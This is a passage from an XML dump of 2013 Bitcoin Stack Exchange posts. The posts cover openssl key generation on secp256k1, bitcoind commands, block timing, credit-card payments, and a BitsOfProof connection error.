  <row Id="11843" PostTypeId="2" ParentId="5198" CreationDate="2013-06-26T11:49:17.940" Score="4" Body="&lt;p&gt;To generate an Elliptic Curve private key in PEM format using the &lt;code&gt;secp256k1&lt;/code&gt; curve (which is the one used in Bitcoin):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;openssl ecparam -genkey -name secp256k1 -out tmp/data.pem&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To convert the private key from PEM (human-readable and extended) to a hex format:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;openssl ec -in tmp/data.pem -outform DER|tail -c +8|head -c 32|xxd -p -c 32&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To retrieve the public key in a hex format:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;openssl ec -in tmp/data.pem -pubout -outform DER|tail -c 65|xxd -p -c 65&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Explanation of the piped commands above&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) &lt;code&gt;openssl ec -in tmp/data.pem -outform DER&lt;/code&gt;&lt;br&gt;&#xA;    Converts the private key from PEM to DER (binary) format.&lt;br&gt;&#xA;2) &lt;code&gt;tail -c +8&lt;/code&gt;&lt;br&gt;&#xA;    Skips the first (due to &quot;+&quot;) 8 bytes (due to &quot;c&quot;), which should be the header of the DER format.&lt;br&gt;&#xA;3) &lt;code&gt;head -c 32&lt;/code&gt;&lt;br&gt;&#xA;    Returns the first 32 bytes which is the private key length.&lt;br&gt;&#xA;4) &lt;code&gt;xxd -p -c 32&lt;/code&gt;&lt;br&gt;&#xA;    Does a hex dump on the binary format of the key.   &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;-p&lt;/code&gt; is for having the output in plain hexdump style  &lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;-c 32&lt;/code&gt; is for having the 32 characters in one line, default is 16.  &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1429" LastEditorUserId="82568" LastEditDate="2019-01-30T11:34:22.583" LastActivityDate="2019-01-30T11:34:22.583" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="11844" PostTypeId="2" ParentId="11004" CreationDate="2013-06-26T14:55:25.917" Score="1" Body="&lt;p&gt;We will probably never switch to a new key format because we run out of keys, or because computers become powerful enough to steal bitcoins from old keys. There's 160 bits in RIPEMD-160, and even building a computer to count from 0 to 2^160 is beyond current technology.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We might, however, switch to a new format because of a vulnerability found in ECDSA or RIPEMD-160.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2013-06-26T14:55:25.917" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11845" PostTypeId="1" CreationDate="2013-06-26T15:25:43.220" Score="1" ViewCount="535" Body="&lt;p&gt;I've think the Site of &lt;a href=&quot;http://www.btchkex.com&quot; rel=&quot;nofollow&quot;&gt;BTCHKEX&lt;/a&gt; appears fraudulent to me. Has anyone dealt with them?  Thanks.&lt;/p&gt;&#xA;" OwnerUserId="5429" LastEditorUserId="2306" LastEditDate="2013-06-28T16:53:10.673" LastActivityDate="2014-03-11T13:03:30.770" Title="Is Bitcoin Hong Kong Exchange a legitimate trading platform?" Tags="|exchanges|trading|fraud|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11847" PostTypeId="2" ParentId="11839" CreationDate="2013-06-26T16:26:18.237" Score="1" Body="&lt;p&gt;Yes, but you only get a few bytes(not sure exactly how much, i think around 30, not even near a kilobyte for sure) per transaction, so the best way to go about it would be to hash your data first and then use that instead.&lt;/p&gt;&#xA;" OwnerUserId="4193" LastActivityDate="2013-06-26T16:26:18.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11848" PostTypeId="2" ParentId="11804" CreationDate="2013-06-26T16:29:29.360" Score="1" Body="&lt;p&gt;From the API page that you linked:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;getaccount &amp;lt;bitcoinaddress&amp;gt;&lt;/code&gt; Returns the account associated with the given address.&lt;/p&gt;&#xA;" OwnerUserId="4193" LastActivityDate="2013-06-26T16:29:29.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11850" PostTypeId="2" ParentId="3612" CreationDate="2013-06-26T17:21:08.920" Score="1" Body="&lt;p&gt;Check out &lt;a href=&quot;http://my-btc.info&quot; rel=&quot;nofollow&quot;&gt;http://my-btc.info&lt;/a&gt;, a free page to monitor the portfolio of digital currencies with profit / loss calculation including BTC and many, many other alt-coins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Diskussions about the tool at the bitcointalk forum: &lt;a href=&quot;https://bitcointalk.org/index.php?topic=220238.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=220238.0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I must say that Dario (the webmaster) is a great guy. Unbelievable what has been implemented in the last two months and he is always open to new suggestions.&#xA;Thanks and Greetings&lt;/p&gt;&#xA;" OwnerUserId="5727" LastActivityDate="2013-06-26T17:21:08.920" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11851" PostTypeId="2" ParentId="8825" CreationDate="2013-06-26T18:43:45.733" Score="0" Body="&lt;p&gt;That is for Bitcoin-Qt, if you use MultiBit, after you sent money, the change will return to the sending address.&lt;/p&gt;&#xA;" OwnerUserId="1429" LastActivityDate="2013-06-26T18:43:45.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11852" PostTypeId="2" ParentId="11839" CreationDate="2013-06-26T23:58:19.960" Score="2" Body="&lt;p&gt;Yes, the bitcoin network can be used as a timestamping service&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an article about it&#xA;&lt;a href=&quot;https://www.strongcoin.com/en/blog/using_the_blockchain_as_a_trusted_timestamping_service&quot; rel=&quot;nofollow&quot;&gt;https://www.strongcoin.com/en/blog/using_the_blockchain_as_a_trusted_timestamping_service&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are additional instructions:&lt;br&gt;&#xA;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=52715.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=52715.0&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5731" LastActivityDate="2013-06-26T23:58:19.960" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11853" PostTypeId="1" CreationDate="2013-06-27T00:37:14.847" Score="2" ViewCount="349" Body="&lt;p&gt;Okay so butterfly labs has these &lt;a href=&quot;https://products.butterflylabs.com/homepage-subproducts/65nm-asic-bitcoin-mining-chip.html&quot; rel=&quot;nofollow&quot;&gt;ASIC chips&lt;/a&gt; available yet I am very confused on how to implement these. I have never seen these type of things and googling has gotten me nowhere. &lt;/p&gt;&#xA;" OwnerUserId="5730" LastActivityDate="2013-06-27T03:35:38.573" Title="How to set up ASIC properly?" Tags="|asic|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11856" PostTypeId="1" CreationDate="2013-06-27T03:27:32.740" Score="3" ViewCount="5633" Body="&lt;p&gt;I'm looking to start an online business, and I want to accept Credit Cards.&#xA;I want the funds transferred to my Bitcoin Address natively.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've done some Duck-Duck-Go-Foo (Search Engine) but even the Big Boys, such as Mt. Gox, BitPay, etc. all refer to accepting BitCoin directly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How do I accept Credit Cards and have it natively transferred to my BitCoin Address?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="5733" LastActivityDate="2018-08-18T17:47:53.467" Title="Accept Credit Card Online to Bitcoin Address Backend" Tags="|bitcoin-credit-card|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11857" PostTypeId="2" ParentId="11853" CreationDate="2013-06-27T03:35:38.573" Score="3" Body="&lt;p&gt;The documentation to these chips has not been released yet, as you can see on the page: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Reference documentation:  Butterfly Labs is releasing it's PCB schematics &amp;amp; MCU code to open source.  Links to this documentation will follow shortly.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Be aware that by ordering these you are not purchasing a finished product, you are just purchasing the chips to build one.&lt;/p&gt;&#xA;" OwnerUserId="5354" LastActivityDate="2013-06-27T03:35:38.573" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="11858" PostTypeId="2" ParentId="2972" CreationDate="2013-06-27T09:03:13.873" Score="3" Body="&lt;p&gt;LocalBitcoins.com has buy and sell online in AUD and also AUD cash trade:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://localbitcoins.com/country/AU&quot; rel=&quot;nofollow&quot;&gt;https://localbitcoins.com/country/AU&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you buy from a trader with good reputation history and fast response times you can get bitcoins within an hour. &lt;/p&gt;&#xA;" OwnerUserId="5464" LastActivityDate="2013-06-27T09:03:13.873" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11859" PostTypeId="2" ParentId="9663" CreationDate="2013-06-27T09:25:35.920" Score="1" Body="&lt;p&gt;Not exactly whay you are looking for, but might satisfy your use case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://localbitcoins.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;LocalBitcoins.co&lt;/a&gt;m is offering coupon functionality where LocalBitcoins.com users can issue their own coupons. Coupons are paper coupons which the users can print themselves and then sell e.g. in net cafe for cash. Bitcoins are substracted from the issuer walet when the coupon is redeemed. The coupon model is based on &lt;a href=&quot;https://easywallet.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Easy Wallet&lt;/a&gt; functionality which you may be already familiar with. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example coupon below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/za6If.png&quot; alt=&quot;LocalBitcoins.com demo bitcoin redeemable coupon&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The functionality is currently available for limited audience on LocalBitcoins.com site.&lt;/p&gt;&#xA;" OwnerUserId="5614" LastEditorUserId="5614" LastEditDate="2013-06-27T09:32:30.200" LastActivityDate="2013-06-27T09:32:30.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11860" PostTypeId="2" ParentId="1863" CreationDate="2013-06-27T11:18:11.420" Score="9" Body="&lt;p&gt;I found that part of the wiki frustrating too, and I just edited it. I'd appreciate corrections. Here's what I wrote:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Ten minutes was specifically chosen by Satoshi as a tradeoff between first confirmation time and the amount of work wasted due to chain splits. After a block is mined, it takes time for other miners to find out about it, and until then they are actually competing against the new block instead of adding to it. If someone mines another new block based on the old block chain, the network can only accept one of the two, and all the work that went into the other block gets wasted. For example, if it takes miners 1 minute on average to learn about new blocks, and new blocks come every 10 minutes, then the overall network is wasting about 10% of its work. Lengthening the time between blocks reduces this waste.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;As a thought experiment, what if the Bitcoin network grew to include Mars? From the farthest points in their orbits, it takes about 20 minutes for a signal to travel from Earth to Mars. With only 10 minutes between new blocks, miners on Mars would always be 2 blocks behind the miners on Earth. It would be almost impossible for them to contribute to the block chain. If we wanted collaborate with those kinds of delays, we would need at least a few hours between new blocks.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="5735" LastActivityDate="2013-06-27T11:18:11.420" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11861" PostTypeId="1" CreationDate="2013-06-27T12:32:09.773" Score="3" ViewCount="4610" Body="&lt;p&gt;I know your system RAM cannot be smaller than your GPU RAM for LTC mining, but other than that, is it a problem if you have like only 2GB of RAM?&lt;/p&gt;&#xA;" OwnerUserId="5590" LastEditorUserId="5406" LastEditDate="2016-03-17T15:15:00.307" LastActivityDate="2016-03-17T15:15:00.307" Title="How much does system RAM matter for Litecoin mining?" Tags="|mining-hardware|scrypt|mining-technical-details|memory|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11863" PostTypeId="2" ParentId="11856" CreationDate="2013-06-27T18:05:58.290" Score="4" Body="&lt;p&gt;This problem is not solvable unless you want to place yourself at great personal risk. The trouble is that bitcoin transfers are inherently non-reversible, meaning that once you've transfered bitcoins there is absolutely nothing you can do to guarantee the return of those bitcoins. Credit cards however are highly reversible and most banks reserve the right to take back funds with very little justification and will almost always side with their customers (aka the people who are paying you.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This means that if someone buys bitcoins from you with a credit card, and then removes the bitcoins from your sites wallet, and then they default on their credit card payment, the bank will ask you for the money back, and you will be out some bitcoins. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a few partial solutions to this problem. You can accept credit card payments but require the user to not remove the bitcoins untill the payment has become non-reversible. This is usually a prohibitive amount of time, taking anywhere from a month+ to clear. The fastest way to possibly transfer money in a non-reversible fashion would be either to use the &lt;a href=&quot;http://en.wikipedia.org/wiki/Single_Euro_Payments_Area&quot; rel=&quot;nofollow&quot;&gt;SEPA&lt;/a&gt; network if you live in Europe, or if you live in the USA then you can use something called &lt;a href=&quot;http://en.wikipedia.org/wiki/Automated_Clearing_House&quot; rel=&quot;nofollow&quot;&gt;Automated Clearing House&lt;/a&gt; protocol, which was developed by the federal reserve to allow debiting of bank accounts. Both of these are quite difficult and annoying to implement.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Its impossible to buy bitcoins from yourself, because it implies that you have the bitcoins in the first place, and you cant offer a service that accepts credit cards for the reasons stated above, and other companies dont for the same reasons. &lt;/p&gt;&#xA;" OwnerUserId="4241" LastEditorUserId="4241" LastEditDate="2013-06-28T04:33:38.317" LastActivityDate="2013-06-28T04:33:38.317" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11867" PostTypeId="1" AcceptedAnswerId="11872" CreationDate="2013-06-27T22:36:36.137" Score="6" ViewCount="1739" Body="&lt;p&gt;A friend presented me the concept of &lt;a href=&quot;http://www.slideshare.net/andrefaria/antifragile-16611267&quot;&gt;antifragile&lt;/a&gt; and asked me if Bitcoin is antifragile. I couldn't answer properly, so I'm asking the experts: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can bitcoin be categorized as antifragile?&lt;/p&gt;&#xA;" OwnerUserId="5561" LastActivityDate="2017-12-29T21:31:01.150" Title="Is Bitcoin antifragile?" Tags="|economic-theory|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11869" PostTypeId="1" CreationDate="2013-06-28T00:49:21.677" Score="6" ViewCount="1332" Body="&lt;p&gt;Since full nodes must store the entire blockchain, and it seems to currently be 9 gb in size, it seems that sooner or later, it will be too large to handle ( if 9gb isn't already absurdly large ).  Is there no provision to ever restart the chain?  Certainly it can't just keep growing for all time?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems to me that sooner or later, a second genesis block will have to be created and unspent transactions will need to be converted from the first generation, then new transactions to the first genesis rejected, before finally discarding the first chain once all unspent transactions have been converted.&lt;/p&gt;&#xA;" OwnerUserId="5744" LastActivityDate="2013-06-28T00:56:18.060" Title="Can the blockchain ever be restarted?" Tags="|blockchain|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11870" PostTypeId="2" ParentId="11869" CreationDate="2013-06-28T00:56:18.060" Score="4" Body="&lt;p&gt;That's probably not gonna happen. The only way restarting the block chain without losing the distribution of coins would be by hard coding all the unspent outputs from the moment of the reset in all Bitcoin clients.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you say&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Certainly it can't just keep growing for all time?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Why can't it? If the block chain grows at a slower pace that the price of storage, which can be predicted by Moore's law, why would it matter? Also, Bitcoin will probably evolve to a situation where not every user will have to keep in sync, but will use a service wallet or another payment network backed by Bitcoin so that it doesn't need the data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, old blocks can be compressed when you don't use them, so the blockchain size can be reduced a little if it becomes really big.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2013-06-28T00:56:18.060" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11871" PostTypeId="1" AcceptedAnswerId="11873" CreationDate="2013-06-28T01:52:32.397" Score="2" ViewCount="1415" Body="&lt;p&gt;I am using bitcoind and have been playing around.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Recently I used the &lt;code&gt;sendtoaddress&lt;/code&gt; command to send 0.50btc without realizing the implications of this command versus &lt;code&gt;sendfrom&lt;/code&gt;.  Now when I list my accounts I see the following: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ bitcoind listaccounts&#xA;{&#xA;    &quot;&quot; : -0.60010000,&#xA;    &quot;w1&quot; : 0.74584297,&#xA;    &quot;w2&quot; : 0.00022000,&#xA;    &quot;w3&quot; : 0.00000000&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So at this point my main/default wallet has -0.60010000 and my w1 wallet shows 0.74584297.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can list the default wallet address using: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ bitcoind getaddressesbyaccount &quot;&quot; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, is it possible to transfer funds locally to the default wallet or should I just use a explicit sendfrom with w2's address? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to move 0.74584297 to the default wallet without having to send over the network and incur a fee? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks! &lt;/p&gt;&#xA;" OwnerUserId="4266" LastActivityDate="2013-06-28T13:16:17.920" Title="How to move money to the default bitcoind wallet?" Tags="|bitcoind|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11872" PostTypeId="2" ParentId="11867" CreationDate="2013-06-28T03:45:56.810" Score="9" Body="&lt;p&gt;With my only knowledge of the concept of &quot;antifragile&quot; being the slideshow I just read, my initial assessment is &lt;strong&gt;yes, Bitcoin is antifragile&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Antifragile benefits from randomness and gains from disorder.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Randomness in Bitcoin appears in the random generation of keys and in the whims of its users' spending habits. No one person controls the system, and a transaction may or may not get processed based on connectivity and fees. There is an incentive to connect to as many nodes as possible in order to broadcast a transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Bitcoin, anyone is allowed to participate, because no one is prohibited. Participation may be cost-prohibitive now, but as time goes on, it won't be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are stressors on the Bitcoin ecosystem: block chain dust, nodes disappearing, nodes flooding transactions, etc. None are as close of a match as sudden jumps in hashrate and the subsequent adjustment to difficulty. Too much of a jump, and the &quot;body&quot; breaks: someone gets a 51% attack going. But, enough of a push and the difficulty increases, making it harder to break that 51%. Also, if the body hasn't been used enough - there hasn't been a high enough hash rate to produce the expected number of blocks - the difficulty lowers in order to allow more blocks to be found. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus, &lt;strong&gt;the Bitcoin system adjusts to its environment.&lt;/strong&gt; Moreover, it does so in a chaotic way: there are rules set in the protocol, but those rules can be change if a majority of participants in the system agree to change the rules &lt;em&gt;and&lt;/em&gt; agree on a new set of rules. In the absence of Internet, Bitcoin transactions can propagate through sneakernet or through even basic text format printable on paper.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Moreover, given the randomness of human economic behavior and the external environment which Bitcoin uses to propagate, various edges and remote notes of the network graph may have sudden activity that the rest of the network doesn't see. The rest of the network has to deal with that activity or risk invalidating itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Slide 40 is one where Bitcoin really is antifragile:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Complex systems resist top-down design, and oftentimes even top-down interference. This is because these systems are simply too complex to be controlled from the outside.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Bitcoin is resistant to top-down design &lt;em&gt;now&lt;/em&gt; because of the number of people using it and processing its transactions. Gavin Andresen could not suddenly make a change, because 51% of the network hashrate would have to agree with his change. No one can interfere, only vote to support or not support a given transaction by directing their miners to include or not to include a certain kind of transaction in the blocks they produce. Moreover, Bitcoin cannot be controlled by anyone except participants in its ecosystem (not matter what governments might think or try to do!).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;All participants in Bitcoin have a skin in the game.&lt;/strong&gt; By processing transactions, they in turn process their own transactions as well as the transactions of their peers. If they can get 51% of the miners to act a certain way, then that's the way the economy goes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, yes, I believe that, based on this slideshow, &lt;strong&gt;Bitcoin is antifragile.&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="1409" LastActivityDate="2013-06-28T03:45:56.810" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11873" PostTypeId="2" ParentId="11871" CreationDate="2013-06-28T13:16:17.920" Score="2" Body="&lt;p&gt;For this, we have the bitcoind &lt;code&gt;move&lt;/code&gt; command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ bitcoind move &quot;w1&quot; &quot;&quot; &amp;lt;amount&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;These kinds of transactions do not incur a fee:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Accounts_explained#Account_-.3E_Account_Transfers&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Accounts_explained#Account_-.3E_Account_Transfers&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4638" LastActivityDate="2013-06-28T13:16:17.920" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11875" PostTypeId="1" CreationDate="2013-06-28T18:38:04.463" Score="3" ViewCount="2392" Body="&lt;p&gt;Since the &lt;a href=&quot;http://sourceforge.net/projects/bitcoin/files/Bitcoin/bitcoin-0.8.0/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Standard Client version 0.8&lt;/a&gt; removed the full index of all historical transactions, some Bitcoin applications that relied on that functionality have stopped working. For example, one is no longer able to &lt;a href=&quot;https://bitcoin.stackexchange.com/a/5982/323&quot;&gt;find out the sender of a given transaction&lt;/a&gt; by pure RPC calls. How can one access that transaction detail in the newer versions of the Bitcoin client?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2013-06-28T18:38:04.463" Title="How to access any transaction detail in Bitcoin version 0.8 and above?" Tags="|transactions|client|bitcoin-core|json-rpc|raw-data|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11876" PostTypeId="2" ParentId="11875" CreationDate="2013-06-28T18:38:04.463" Score="5" Body="&lt;p&gt;Two new command-line or bitcoin.conf file commands have been added in the 0.8 release that allow for historical transactions to be accessible by recreating the old index:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;txindex : maintains an extra index of old, spent transaction ids so they will be found&#xA;  by the getrawtransaction JSON-RPC method.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;reindex : rebuild block and transaction indices from the downloaded block data.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;[...]&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;you must run once&#xA;  with -txindex=1 -reindex=1 to rebuild block-chain indices&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="323" LastActivityDate="2013-06-28T18:38:04.463" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11877" PostTypeId="2" ParentId="11813" CreationDate="2013-06-28T19:46:56.703" Score="1" Body="&lt;p&gt;There's a Python script that generates a database of all Mt. Gox transactions ever, along with a pre-scraped database of all transactions, here: &lt;a href=&quot;http://cahier2.ww7.be/bitcoinmirror/phantomcircuit/&quot; rel=&quot;nofollow&quot;&gt;http://cahier2.ww7.be/bitcoinmirror/phantomcircuit/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5306" LastActivityDate="2013-06-28T19:46:56.703" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11878" PostTypeId="1" AcceptedAnswerId="11883" CreationDate="2013-06-29T00:18:42.253" Score="5" ViewCount="5239" Body="&lt;p&gt;I have a single bitcoin address with all my &lt;em&gt;savings&lt;/em&gt; on it. I want to make a paper backup for precaution (as if my hard drive somehow exploded) with that specific address. Is that possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Keep in mind that I want a &lt;strong&gt;physical backup&lt;/strong&gt; but at the same time I want to be &lt;strong&gt;able to manage the wallet&lt;/strong&gt; from bitcoin-qt.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="4864" LastActivityDate="2023-01-20T08:20:57.073" Title="Is it possible to make a paper wallet out of a bitcoin-qt wallet?" Tags="|bitcoin-core|backup|paper-wallet|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11879" PostTypeId="2" ParentId="4800" CreationDate="2013-06-29T02:04:00.143" Score="0" Body="&lt;p&gt;Cosmic Fantasia &lt;a href=&quot;http://cosmicfantasia.net.au&quot; rel=&quot;nofollow&quot;&gt;http://cosmicfantasia.net.au&lt;/a&gt; is a reseller for vps.net and accepts Bitcoin for payment. You get all the world wide data centres, templates and reliability of vps.net and can ay with Bitcoins. Works for me&lt;/p&gt;&#xA;" OwnerUserId="5754" LastActivityDate="2013-06-29T02:04:00.143" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11880" PostTypeId="1" CreationDate="2013-06-29T04:13:36.760" Score="0" ViewCount="132" Body="&lt;p&gt;I'm trying to run my own BOP (&lt;a href=&quot;https://github.com/bitsofproof/supernode/&quot; rel=&quot;nofollow&quot;&gt;BitsOfProof&lt;/a&gt;) server and connect to it. I appear to be able to connect, but I am unable to execute any commands. I am connecting with the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    StompJmsConnectionFactory connectionFactory = new StompJmsConnectionFactory();&#xA;    connectionFactory.setBrokerURI(&quot;tcp://localhost:61613&quot;);&#xA;    connectionFactory.setUsername(&quot;admin&quot;);&#xA;    connectionFactory.setPassword(&quot;password&quot;);&#xA;    JMSServerConnector api = new JMSServerConnector();&#xA;    api.setConnectionFactory(connectionFactory);&#xA;    api.setClientId(UUID.randomUUID().toString());&#xA;    api.init();&#xA;&#xA;    Transaction t = api.getTransaction(&quot;07eec690b003f13ffe73608be35f22e3da6deb55bfd479dbc67c5f44c8d48963&quot;);&#xA;    System.out.println(&quot;t:&quot; + t.getHeight());&#xA;    System.out.println(&quot;t:&quot; + t.isDoubleSpend());&#xA;&#xA;    Block b = api.getBlock(&quot;0000000000fb2149b0a8c0418041513b122e129e17992e22276c558ee7e8269b&quot;);&#xA;    System.out.println(&quot;b: &quot; + b.getHeight());&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and the error I am getting is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Caused by: org.fusesource.stomp.client.ProtocolException: Received an error: Not authorized to receive from the temporary destination. Principals=[org.apache.activemq.jaas.GroupPrincipal(admins), org.apache.activemq.jaas.UserPrincipal(admin), org.apache.activemq.apollo.broker.security.SourceAddressPrincipal(127.0.0.1)]&#xA;at org.fusesource.stomp.client.CallbackConnection.processStompFrame(CallbackConnection.java:110)&#xA;at org.fusesource.stomp.client.CallbackConnection.access$0(CallbackConnection.java:92)&#xA;at org.fusesource.stomp.client.CallbackConnection$1.onTransportCommand(CallbackConnection.java:61)&#xA;at org.fusesource.hawtdispatch.transport.TcpTransport.drainInbound(TcpTransport.java:659)&#xA;at org.fusesource.hawtdispatch.transport.TcpTransport$6.run(TcpTransport.java:538)&#xA;at org.fusesource.hawtdispatch.internal.NioDispatchSource$3.run(NioDispatchSource.java:209)&#xA;at org.fusesource.hawtdispatch.internal.SerialDispatchQueue.run(SerialDispatchQueue.java:100)&#xA;at org.fusesource.hawtdispatch.internal.pool.SimpleThread.run(SimpleThread.java:77)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As far as I can tell, the admin user should have access to everything.  I tried creating a new user to connect with, and the same error was encountered.  Anyone have any idea what I'm doing 